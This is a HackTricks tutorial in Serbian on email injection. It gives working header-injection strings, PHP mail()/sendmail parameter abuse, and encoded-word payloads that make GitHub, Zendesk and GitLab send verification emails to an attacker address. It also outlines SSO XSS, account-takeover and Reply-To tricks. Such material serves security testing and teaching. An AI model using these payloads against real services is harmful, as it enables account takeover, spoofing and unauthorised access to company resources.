Email Injections

Reading time: 7 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Inject in sent e-mail

Inject Cc i Bcc nakon argumenta pošiljaoca

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

Poruka će biti poslata na naloge recipient i recipient1.

Inject argument

From:sender@domain.com%0ATo:attacker@domain.com

Poruka će biti poslata originalnom primaocu i nalogu napadača.

Umetanje argumenta Subject

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

Lažni predmet će biti dodat originalnom predmetu i u nekim slučajevima će ga zameniti. To zavisi od ponašanja usluge e-pošte.

Promenite telo poruke

Ubaci dva nova reda, a zatim napiši svoju poruku da bi promenio telo poruke.

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

Eksploatacija PHP mail() funkcije

bash
# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

Peti parametar ($additional_parameters)

Ovaj deo će se zasnivati na kako zloupotrebiti ovaj parametar pod pretpostavkom da napadač njime upravlja.

Ovaj parametar će biti dodat u komandnu liniju koju će PHP koristiti za pozivanje binarnog sendmail. Međutim, biće sanitizovan funkcijom escapeshellcmd($additional_parameters).

Napadač može ubaciti dodatne parametre za sendmail u ovom slučaju.

Razlike u implementaciji /usr/sbin/sendmail

sendmail interfejs je obezbeđen od strane MTA email softvera (Sendmail, Postfix, Exim itd.) instaliranog na sistemu. Iako osnovna funkcionalnost (kao što su -t -i -f parametri) ostaje ista iz razloga kompatibilnosti, druge funkcije i parametri se značajno razlikuju u zavisnosti od instaliranog MTA.

Evo nekoliko primera različitih man stranica za sendmail komandu/interfejs:

  • Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
  • Postfix MTA: http://www.postfix.org/mailq.1.html
  • Exim MTA: https://linux.die.net/man/8/eximReferences

U zavisnosti od izvora sendmail binarne datoteke otkrivene su različite opcije za zloupotrebu i curenje fajlova ili čak izvršavanje proizvoljnih komandi. Proverite kako u https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

Ubacivanje u ime e-pošte

caution

Imajte na umu da ako uspete da kreirate nalog u servisu sa proizvoljnim imenom domena (kao što su Github, Gitlab, CloudFlare Zero trust...) i verifikujete ga primajući verifikacioni email na vašu adresu, možda ćete moći da pristupite osetljivim lokacijama kompanije žrtve.

Ignorisani delovi e-pošte

Simboli: +, - i {} u retkim slučajevima mogu se koristiti za označavanje i većina e-mail servera ih ignoriše.

  • Npr. john.doe+intigriti@example.com → john.doe@example.com

Komentari između zagrada () na početku ili kraju će takođe biti ignorisani.

  • Npr. john.doe(intigriti)@example.com → john.doe@example.com

Zaobilaženje bele liste

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

IP adrese

Takođe možete koristiti IP adrese kao imena domena između uglastih zagrada:

  • john.doe@[127.0.0.1]
  • john.doe@[IPv6:2001:db8::1]

Kodiranje e-pošte

Kao što je objašnjeno u ovoj studiji, imena e-pošte takođe mogu sadržati kodirane karaktere:

  • PHP 256 overflow: PHP chr funkcija će nastaviti da dodaje 256 karakteru dok ne postane pozitivan, a zatim izvršiti operaciju %256.
  • String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @

tip

Cilj ovog trika je da se završi sa injekcijom poput RCPT TO:<"collab@psres.net>collab"@example.com>
koja će poslati verifikacioni email na drugu adresu e-pošte od očekivane (tako da se unese druga adresa e-pošte unutar imena e-pošte i prekine sintaksa prilikom slanja e-pošte).

Različita kodiranja:

bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com

# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding

# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/

Payloads:

  • Github: =?x?q?collab=40psres.net=3e=00?=foo@example.com
  • Imajte na umu da je kodirani @ kao =40, kodirani > kao =3e i null kao =00
  • Poslaće verifikacioni email na collab@psres.net
  • Zendesk: "=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com
  • Ista trik kao pre, ali dodajući neku običnu navodnu reč na početku i kodiranu navodnu reč =22 pre kodiranog @, a zatim otvarajući i zatvarajući neke navodne reči pre sledećeg emaila kako bi se ispravila sintaksa koju koristi Zendesk
  • Poslaće verifikacioni email na collab@psres.net
  • Gitlab: =?x?q?collab=40psres.net_?=foo@example.com
  • Imajte na umu upotrebu donje crte kao razmaka za odvajanje adrese
  • Poslaće verifikacioni email na collab@psres.net
  • Punycode: Korišćenjem Punycode-a bilo je moguće injektovati oznaku <style u Joomla i zloupotrebiti je za krađu CSRF tokena putem CSS eksfiltracije.

Tooling

  • Postoji Burp Suite Turbo Intruder skripta za fuzzing ovih vrsta kombinacija kako bi se pokušao napad na email formate. Skripta već ima potencijalno funkcionalne kombinacije.
  • Takođe je moguće koristiti Hackvertor za kreiranje napada deljenja emaila

Other vulns

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Third party SSO

XSS

Neke usluge kao što su github ili salesforce omogućavaju vam da kreirate email adresu sa XSS payload-ima. Ako možete koristiti ove provajdere za prijavu na druge usluge i te usluge ne sanitizuju ispravno email, mogli biste izazvati XSS.

Account-Takeover

Ako SSO usluga omogućava da kreirate nalog bez verifikacije date email adrese (kao što je salesforce) i zatim možete koristiti taj nalog za prijavu na drugu uslugu koja veruje salesforce, mogli biste pristupiti bilo kojem nalogu.
Napomena da salesforce označava da li je data email adresa verifikovana ili ne, ali takođe aplikacija treba uzeti u obzir ove informacije.

Reply-To

Možete poslati email koristeći From: company.com i Replay-To: attacker.com i ako se bilo koja automatska odgovor pošalje zbog toga što je email poslat sa internog adresa, napadač može biti u mogućnosti da primi taj odgovor.

Hard Bounce Rate

Određene usluge, kao što je AWS, implementiraju prag poznat kao Hard Bounce Rate, obično postavljen na 10%. Ovo je kritična metrika, posebno za usluge dostave emaila. Kada se ovaj procenat prekorači, usluga, kao što je AWS-ova email usluga, može biti suspendovana ili blokirana.

Hard bounce se odnosi na email koji je vraćen pošiljaocu jer je adresa primaoca nevažeća ili ne postoji. To se može dogoditi iz raznih razloga, kao što su email poslat na nepostojeću adresu, domen koji nije stvaran, ili odbijanje servera primaoca da prihvati emailove.

U kontekstu AWS-a, ako pošaljete 1000 emailova i 100 od njih rezultira hard bounce-ovima (zbog razloga kao što su nevažeće adrese ili domeni), to bi značilo 10% hard bounce rate. Dostizanje ili prekoračenje ovog procenta može pokrenuti AWS SES (Simple Email Service) da blokira ili suspenduje vaše mogućnosti slanja emaila.

Važno je održavati nizak hard bounce rate kako bi se osigurala neprekidna usluga emaila i održala reputacija pošiljaoca. Praćenje i upravljanje kvalitetom email adresa u vašim mailing listama može značajno pomoći u postizanju ovog cilja.

Za detaljnije informacije, može se konsultovati zvanična dokumentacija AWS-a o upravljanju bounce-ovima i pritužbama AWS SES Bounce Handling.

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks